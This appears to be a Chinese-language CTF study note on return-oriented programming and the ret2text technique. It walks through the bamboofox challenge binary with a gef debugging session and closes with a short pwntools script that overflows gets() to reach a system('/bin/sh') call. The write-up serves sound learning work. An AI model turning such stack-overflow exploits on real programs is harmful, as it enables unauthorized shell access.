随着 NX 保护的开启,以往直接向栈或者堆上直接注入代码的方式难以继续发挥效果。攻击者们也提出来相应的方法来绕过保护,目前主要的是 ROP(Return Oriented Programming),其主要思想是在栈缓冲区溢出的基础上,利用程序中已有的小片段( gadgets )来改变某些寄存器或者变量的值,从而控制程序的执行流程。所谓gadgets 就是以 ret 结尾的指令序列,通过这些指令序列,我们可以修改某些地址的内容,方便控制程序的执行流程。
之所以称之为 ROP,是因为核心在于利用了指令集中的 ret 指令,改变了指令流的执行顺序。ROP 攻击一般得满足如下条件
程序存在溢出,并且可以控制返回地址。
可以找到满足条件的 gadgets 以及相应 gadgets 的地址。
如果 gadgets 每次的地址是不固定的,那我们就需要想办法动态获取对应的地址了。
ret2text
原理
ret2text 即控制程序执行程序本身已有的的代码(.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码(也就是 gadgets),这就是我们所要说的ROP。
这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。
例子
其实,在栈溢出的基本原理中,我们已经介绍了这一简单的攻击。在这里,我们再给出另外一个例子,bamboofox 中介绍 ROP 时使用的 ret2text 的例子。
点击下载: ret2text
首先,查看一下程序的保护机制
可以看到仅仅开启了栈不可执行保护。
使用IDA查看源码
可以看出程序在主函数中使用了 gets 函数,显然存在栈溢出漏洞。gets本身是一个危险函数。而它因为其从不检查输入字符串的长度,而是以回车来判断是否输入结束,所以很容易可以导致栈溢出,
之后又发现secure函数存在调用system("/bin/sh")函数,那么如果我们直接控制程序返回至 0x0804863A,那么就可以得到系统的 shell 了。
下面就是我们如何构造 payload 了
可以看到该字符串是通过相对于 esp 的索引,所以我们需要进行调试,将断点下在 call 处,查看 esp,ebp,如下
gef➤ b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
gef➤ r
There is something amazing here, do you know anything?
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);
───────────────────────────────────────────────────────────────────────[ registers ]────
$eax : 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebx : 0x00000000
$ecx : 0xffffffff
$edx : 0xf7faf870 → 0x00000000
$esp : 0xffffcd40 → 0xffffcd5c → 0x08048329 → "__libc_start_main"
$ebp : 0xffffcdc8 → 0x00000000
$esi : 0xf7fae000 → 0x001b1db0
$edi : 0xf7fae000 → 0x001b1db0
$eip : 0x080486ae → <main+102> call 0x8048460 <gets@plt>
可以看到 esp 为 0xffffcd40,ebp 为具体的 payload 如下 0xffffcdc8,同时 s 相对于 esp 的索引为 [esp+0x1c],所以,s 的地址为 0xffffcd5c,所以 s 相对于 ebp 的偏移为 0x6C,所以相对于返回地址的偏移为 0x6c+4。
最后的 payload 如下:
from pwn import *
sh = process('./ret2text')
target = 0x804863a
sh.sendline('A' * (0x6c+4) + p32(target))
sh.interactive()
存在的疑问 (求大佬解释下。。)
在求s相对于ebp的偏移时,我直接使用了IDA中s显示的ebp偏移
但是和以esp为索引求出来的偏移不同
实在不懂是为什么
参考
ctf wiki